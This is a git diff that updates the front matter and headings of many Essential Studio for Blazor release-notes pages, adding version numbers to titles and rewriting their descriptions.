diff --git a/blazor/Release-Notes/18.3.42.md b/blazor/Release-Notes/18.3.42.md
index e0931d8357..ba3b2fbeb9 100644
--- a/blazor/Release-Notes/18.3.42.md
+++ b/blazor/Release-Notes/18.3.42.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.42
 
 {% include release-info.html date="October 20, 2020"  version="v18.3.42" %} 
 
diff --git a/blazor/Release-Notes/18.3.44.md b/blazor/Release-Notes/18.3.44.md
index 35f60f975a..2acffb4770 100644
--- a/blazor/Release-Notes/18.3.44.md
+++ b/blazor/Release-Notes/18.3.44.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.44
 
 {% include release-info.html date="October 27, 2020"  version="v18.3.44" %} 
 
diff --git a/blazor/Release-Notes/18.3.47.md b/blazor/Release-Notes/18.3.47.md
index ebe5ec7863..fab0b4a6bc 100644
--- a/blazor/Release-Notes/18.3.47.md
+++ b/blazor/Release-Notes/18.3.47.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2020 volume 3 SP1 Release Notes - v18.3.47
-description: Essential Studio for Blazor 2020 volume 3 SP1 Release Notes  
+description: Learn all about the Essential Studio for Blazor 2020 Volume 3 SP1 Release Notes v18.3.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.47
 
 {% include release-info.html date="November 5, 2020"  version="v18.3.47" %} 
 
diff --git a/blazor/Release-Notes/18.3.48.md b/blazor/Release-Notes/18.3.48.md
index 77dc8b491d..046628c24c 100644
--- a/blazor/Release-Notes/18.3.48.md
+++ b/blazor/Release-Notes/18.3.48.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.48
 
 {% include release-info.html date="November 11, 2020"  version="v18.3.48" %} 
 
diff --git a/blazor/Release-Notes/18.3.50.md b/blazor/Release-Notes/18.3.50.md
index e22cb3d7c7..52e103d1ee 100644
--- a/blazor/Release-Notes/18.3.50.md
+++ b/blazor/Release-Notes/18.3.50.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.50
 
 {% include release-info.html date="November 17, 2020"  version="v18.3.50" %} 
 
diff --git a/blazor/Release-Notes/18.3.51.md b/blazor/Release-Notes/18.3.51.md
index 2e284e287f..9c028e433e 100644
--- a/blazor/Release-Notes/18.3.51.md
+++ b/blazor/Release-Notes/18.3.51.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.51
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.51, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.3.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.51
 
 {% include release-info.html date="November 24, 2020"  version="v18.3.51" %} 
 
diff --git a/blazor/Release-Notes/18.3.52.md b/blazor/Release-Notes/18.3.52.md
index cf902718f9..fb3f34337b 100644
--- a/blazor/Release-Notes/18.3.52.md
+++ b/blazor/Release-Notes/18.3.52.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.52
 
 {% include release-info.html date="December 1, 2020"  version="v18.3.52" %} 
 
diff --git a/blazor/Release-Notes/18.3.53.md b/blazor/Release-Notes/18.3.53.md
index d5d2bfb7f7..f1efe21b56 100644
--- a/blazor/Release-Notes/18.3.53.md
+++ b/blazor/Release-Notes/18.3.53.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.53
 
 {% include release-info.html date="December 8, 2020"  version="v18.3.53" %} 
 
diff --git a/blazor/Release-Notes/18.4.30.md b/blazor/Release-Notes/18.4.30.md
index d414754594..9c6519acb6 100644
--- a/blazor/Release-Notes/18.4.30.md
+++ b/blazor/Release-Notes/18.4.30.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2020 volume 4 Main Release Notes -v18.4.30
-description: Essential Studio for Blazor 2020 volume 4 Main Release Release Notes  
+description: Learn all about the Essential Studio for Blazor 2020 Volume 4 Main Release Notes v18.4.30, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.30
 
 {% include release-info.html date="December 17, 2020"  version="v18.4.30" %} 
 
diff --git a/blazor/Release-Notes/18.4.31.md b/blazor/Release-Notes/18.4.31.md
index 467bb601f9..69601e196a 100644
--- a/blazor/Release-Notes/18.4.31.md
+++ b/blazor/Release-Notes/18.4.31.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.31
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.31, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.4.31, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.31
 
 {% include release-info.html date="December 22, 2020"  version="v18.4.31" %} 
 
diff --git a/blazor/Release-Notes/18.4.32.md b/blazor/Release-Notes/18.4.32.md
index 21db0c216c..d10ec8d806 100644
--- a/blazor/Release-Notes/18.4.32.md
+++ b/blazor/Release-Notes/18.4.32.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.32
 
 {% include release-info.html date="December 30, 2020"  version="v18.4.32" %} 
 
diff --git a/blazor/Release-Notes/18.4.33.md b/blazor/Release-Notes/18.4.33.md
index 36faaf19ff..b09201fc49 100644
--- a/blazor/Release-Notes/18.4.33.md
+++ b/blazor/Release-Notes/18.4.33.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.33  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.33, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.4.33, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.33
 
 {% include release-info.html date="January 5, 2021"  version="v18.4.33" %} 
 
diff --git a/blazor/Release-Notes/18.4.34.md b/blazor/Release-Notes/18.4.34.md
index eeda8f1d68..bec24bb300 100644
--- a/blazor/Release-Notes/18.4.34.md
+++ b/blazor/Release-Notes/18.4.34.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.34  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.34, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.4.34, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.34
 
 {% include release-info.html date="January 12, 2021"  version="v18.4.34" %} 
 
diff --git a/blazor/Release-Notes/18.4.35.md b/blazor/Release-Notes/18.4.35.md
index ebcdcfcc1f..be88cee19c 100644
--- a/blazor/Release-Notes/18.4.35.md
+++ b/blazor/Release-Notes/18.4.35.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.35
 
 {% include release-info.html date="January 19, 2021"  version="v18.4.35" %} 
 
diff --git a/blazor/Release-Notes/18.4.39.md b/blazor/Release-Notes/18.4.39.md
index d9b903d859..85aad157dc 100644
--- a/blazor/Release-Notes/18.4.39.md
+++ b/blazor/Release-Notes/18.4.39.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.39
 
 {% include release-info.html date="January 28, 2021"  version="v18.4.39" %} 
 
diff --git a/blazor/Release-Notes/18.4.41.md b/blazor/Release-Notes/18.4.41.md
index 38b19ea446..ff9a3ea8f1 100644
--- a/blazor/Release-Notes/18.4.41.md
+++ b/blazor/Release-Notes/18.4.41.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.41
 
 {% include release-info.html date="February 2, 2021"  version="v18.4.41" %} 
 
diff --git a/blazor/Release-Notes/18.4.42.md b/blazor/Release-Notes/18.4.42.md
index 55ac996c85..7bbb6a057f 100644
--- a/blazor/Release-Notes/18.4.42.md
+++ b/blazor/Release-Notes/18.4.42.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.42
 
 {% include release-info.html date="February 9, 2021"  version="v18.4.42" %} 
 
diff --git a/blazor/Release-Notes/18.4.43.md b/blazor/Release-Notes/18.4.43.md
index e1cd97f507..df4d0c306b 100644
--- a/blazor/Release-Notes/18.4.43.md
+++ b/blazor/Release-Notes/18.4.43.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.43
 
 {% include release-info.html date="February 16, 2021"  version="v18.4.43" %} 
 
diff --git a/blazor/Release-Notes/18.4.44.md b/blazor/Release-Notes/18.4.44.md
index c6723a0757..5fab3b60b1 100644
--- a/blazor/Release-Notes/18.4.44.md
+++ b/blazor/Release-Notes/18.4.44.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.44
 
 {% include release-info.html date="February 23, 2021"  version="v18.4.44" %} 
 
diff --git a/blazor/Release-Notes/18.4.46.md b/blazor/Release-Notes/18.4.46.md
index 10850b3caf..d1d9ff25c6 100644
--- a/blazor/Release-Notes/18.4.46.md
+++ b/blazor/Release-Notes/18.4.46.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.46
 
 {% include release-info.html date="March 2, 2021"  version="v18.4.46" %} 
 
diff --git a/blazor/Release-Notes/18.4.47.md b/blazor/Release-Notes/18.4.47.md
index 69adc7fa6c..9b184969e4 100644
--- a/blazor/Release-Notes/18.4.47.md
+++ b/blazor/Release-Notes/18.4.47.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.47
 
 {% include release-info.html date="March 09, 2021"  version="v18.4.47" %} 
 
diff --git a/blazor/Release-Notes/18.4.48.md b/blazor/Release-Notes/18.4.48.md
index 340f791725..04152edc86 100644
--- a/blazor/Release-Notes/18.4.48.md
+++ b/blazor/Release-Notes/18.4.48.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.48 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.48, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.4.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.48
 
 {% include release-info.html date="March 16, 2021"  version="v18.4.48" %} 
 
diff --git a/blazor/Release-Notes/18.4.49.md b/blazor/Release-Notes/18.4.49.md
index 9a87e88da1..2b044423dd 100644
--- a/blazor/Release-Notes/18.4.49.md
+++ b/blazor/Release-Notes/18.4.49.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.4.49
 
 {% include release-info.html date="March 23, 2021"  version="v18.4.49" %} 
 
diff --git a/blazor/Release-Notes/19.1.54.md b/blazor/Release-Notes/19.1.54.md
index 0d877e7032..c143d32624 100644
--- a/blazor/Release-Notes/19.1.54.md
+++ b/blazor/Release-Notes/19.1.54.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.54
 
 {% include release-info.html date="March 30, 2021"  version="v19.1.54" %} 
 
diff --git a/blazor/Release-Notes/19.1.55.md b/blazor/Release-Notes/19.1.55.md
index f664f00954..026796c1ed 100644
--- a/blazor/Release-Notes/19.1.55.md
+++ b/blazor/Release-Notes/19.1.55.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.55
 
 {% include release-info.html date="April 06, 2021"  version="v19.1.55" %} 
 
diff --git a/blazor/Release-Notes/19.1.56.md b/blazor/Release-Notes/19.1.56.md
index 546af8415c..8bd198d43c 100644
--- a/blazor/Release-Notes/19.1.56.md
+++ b/blazor/Release-Notes/19.1.56.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.56
 
 {% include release-info.html date="April 13, 2021"  version="v19.1.56" %} 
 
diff --git a/blazor/Release-Notes/19.1.57.md b/blazor/Release-Notes/19.1.57.md
index d0a62febf3..8f724b7b5b 100644
--- a/blazor/Release-Notes/19.1.57.md
+++ b/blazor/Release-Notes/19.1.57.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.57
 
 {% include release-info.html date="April 20, 2021"  version="v19.1.57" %} 
 
diff --git a/blazor/Release-Notes/19.1.58.md b/blazor/Release-Notes/19.1.58.md
index e747b61033..5bafec0084 100644
--- a/blazor/Release-Notes/19.1.58.md
+++ b/blazor/Release-Notes/19.1.58.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.58
 
 {% include release-info.html date="April 27, 2021"  version="v19.1.58" %} 
 
diff --git a/blazor/Release-Notes/19.1.59.md b/blazor/Release-Notes/19.1.59.md
index 97c9b1f1f8..2da41ad40b 100644
--- a/blazor/Release-Notes/19.1.59.md
+++ b/blazor/Release-Notes/19.1.59.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.59
 
 {% include release-info.html date="May 04, 2021"  version="v19.1.59" %} 
 
diff --git a/blazor/Release-Notes/19.1.63.md b/blazor/Release-Notes/19.1.63.md
index 7feb91f8ea..6a88dc67fc 100644
--- a/blazor/Release-Notes/19.1.63.md
+++ b/blazor/Release-Notes/19.1.63.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.63
 
 {% include release-info.html date="May 12, 2021"  version="v19.1.63" %} 
 
diff --git a/blazor/Release-Notes/19.1.64.md b/blazor/Release-Notes/19.1.64.md
index e793c5043c..9e10a54e5d 100644
--- a/blazor/Release-Notes/19.1.64.md
+++ b/blazor/Release-Notes/19.1.64.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.64
 
 {% include release-info.html date="May 19, 2021"  version="v19.1.64" %} 
 
diff --git a/blazor/Release-Notes/19.1.65.md b/blazor/Release-Notes/19.1.65.md
index ef37554836..3257c5058f 100644
--- a/blazor/Release-Notes/19.1.65.md
+++ b/blazor/Release-Notes/19.1.65.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.65
 
 {% include release-info.html date="May 25, 2021"  version="v19.1.65" %} 
 
diff --git a/blazor/Release-Notes/19.1.66.md b/blazor/Release-Notes/19.1.66.md
index 270864b160..bc9cc4218a 100644
--- a/blazor/Release-Notes/19.1.66.md
+++ b/blazor/Release-Notes/19.1.66.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.1.66  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.1.66, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.1.66, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.66
 
 {% include release-info.html date="June 01, 2021"  version="v19.1.66" %} 
 
diff --git a/blazor/Release-Notes/19.1.67.md b/blazor/Release-Notes/19.1.67.md
index 36b957dd5e..185ea3e7fb 100644
--- a/blazor/Release-Notes/19.1.67.md
+++ b/blazor/Release-Notes/19.1.67.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.67
 
 {% include release-info.html date="June 08, 2021"  version="v19.1.67" %} 
 
diff --git a/blazor/Release-Notes/19.1.69.md b/blazor/Release-Notes/19.1.69.md
index e45f1fb838..021537eebc 100644
--- a/blazor/Release-Notes/19.1.69.md
+++ b/blazor/Release-Notes/19.1.69.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.1.69
 
 {% include release-info.html date="June 15, 2021"  version="v19.1.69" %} 
 
diff --git a/blazor/Release-Notes/19.2.44.md b/blazor/Release-Notes/19.2.44.md
index a4da3b7ed7..ed56ed976d 100644
--- a/blazor/Release-Notes/19.2.44.md
+++ b/blazor/Release-Notes/19.2.44.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2021 volume 2 Main Release Notes -v19.2.44
-description: Essential Studio for Blazor 2021 volume 2 Main Release Notes    
+description: Learn all about the Essential Studio for Blazor 2021 Volume 2 Main Release Notes v19.2.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.44
 
 {% include release-info.html date="June 30, 2021"  version="v19.2.44" %} 
 
diff --git a/blazor/Release-Notes/19.2.46.md b/blazor/Release-Notes/19.2.46.md
index 76324c8117..d4c094f252 100644
--- a/blazor/Release-Notes/19.2.46.md
+++ b/blazor/Release-Notes/19.2.46.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.46
 
 {% include release-info.html date="July 6, 2021"  version="v19.2.46" %} 
 
diff --git a/blazor/Release-Notes/19.2.47.md b/blazor/Release-Notes/19.2.47.md
index 86452c5c39..853cd8108d 100644
--- a/blazor/Release-Notes/19.2.47.md
+++ b/blazor/Release-Notes/19.2.47.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.47  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.47, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.2.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.47
 
 {% include release-info.html date="July 13, 2021"  version="v19.2.47" %} 
 
diff --git a/blazor/Release-Notes/19.2.48.md b/blazor/Release-Notes/19.2.48.md
index 6ab809f46f..1deccd31ca 100644
--- a/blazor/Release-Notes/19.2.48.md
+++ b/blazor/Release-Notes/19.2.48.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v19.2.48  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.2.48, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v19.2.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.48
 
 {% include release-info.html date="July 20, 2021"  version="v19.2.48" %} 
 
diff --git a/blazor/Release-Notes/19.2.49.md b/blazor/Release-Notes/19.2.49.md
index e704cef1f0..6495784e13 100644
--- a/blazor/Release-Notes/19.2.49.md
+++ b/blazor/Release-Notes/19.2.49.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.49
 
 {% include release-info.html date="July 27, 2021"  version="v19.2.49" %} 
 
diff --git a/blazor/Release-Notes/19.2.51.md b/blazor/Release-Notes/19.2.51.md
index 978683076b..44bfbfcb13 100644
--- a/blazor/Release-Notes/19.2.51.md
+++ b/blazor/Release-Notes/19.2.51.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.51
 
 {% include release-info.html date="August 03, 2021"  version="v19.2.51" %} 
 
diff --git a/blazor/Release-Notes/19.2.55.md b/blazor/Release-Notes/19.2.55.md
index ca1d296546..35d97e5e32 100644
--- a/blazor/Release-Notes/19.2.55.md
+++ b/blazor/Release-Notes/19.2.55.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.55
 
 {% include release-info.html date="August 11, 2021"  version="v19.2.55" %} 
 
diff --git a/blazor/Release-Notes/19.2.56.md b/blazor/Release-Notes/19.2.56.md
index 7ff3b203b5..fde543b4de 100644
--- a/blazor/Release-Notes/19.2.56.md
+++ b/blazor/Release-Notes/19.2.56.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.56
 
 {% include release-info.html date="August 17, 2021"  version="v19.2.56" %} 
 
diff --git a/blazor/Release-Notes/19.2.57.md b/blazor/Release-Notes/19.2.57.md
index 890814acfe..cec877438e 100644
--- a/blazor/Release-Notes/19.2.57.md
+++ b/blazor/Release-Notes/19.2.57.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.57
 
 {% include release-info.html date="August 24, 2021"  version="v19.2.57" %} 
 
diff --git a/blazor/Release-Notes/19.2.59.md b/blazor/Release-Notes/19.2.59.md
index 2f80272d55..254ab05459 100644
--- a/blazor/Release-Notes/19.2.59.md
+++ b/blazor/Release-Notes/19.2.59.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.59
 
 {% include release-info.html date="August 31, 2021"  version="v19.2.59" %} 
 
diff --git a/blazor/Release-Notes/19.2.60.md b/blazor/Release-Notes/19.2.60.md
index 32225db530..c6cb129ead 100644
--- a/blazor/Release-Notes/19.2.60.md
+++ b/blazor/Release-Notes/19.2.60.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.60
 
 {% include release-info.html date="September 7, 2021"  version="v19.2.60" %} 
 
diff --git a/blazor/Release-Notes/19.2.62.md b/blazor/Release-Notes/19.2.62.md
index 51a78fbb6d..b2ffb60a70 100644
--- a/blazor/Release-Notes/19.2.62.md
+++ b/blazor/Release-Notes/19.2.62.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.2.62
 
 {% include release-info.html date="September 14, 2021"  version="v19.2.62" %} 
 
diff --git a/blazor/Release-Notes/19.3.43.md b/blazor/Release-Notes/19.3.43.md
index 1dc84f4fa6..e4dd2aef48 100644
--- a/blazor/Release-Notes/19.3.43.md
+++ b/blazor/Release-Notes/19.3.43.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v19.3.43
 
 {% include release-info.html date="September 30, 2021"  version="v19.3.43" %} 
 
diff --git a/blazor/Release-Notes/19.3.44.md b/blazor/Release-Notes/19.3.44.md
index 7e2f35919f..8adbcfb244 100644
--- a/blazor/Release-Notes/19.3.44.md
+++ b/blazor/Release-Notes/19.3.44.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v19.3.44
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v19.3.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
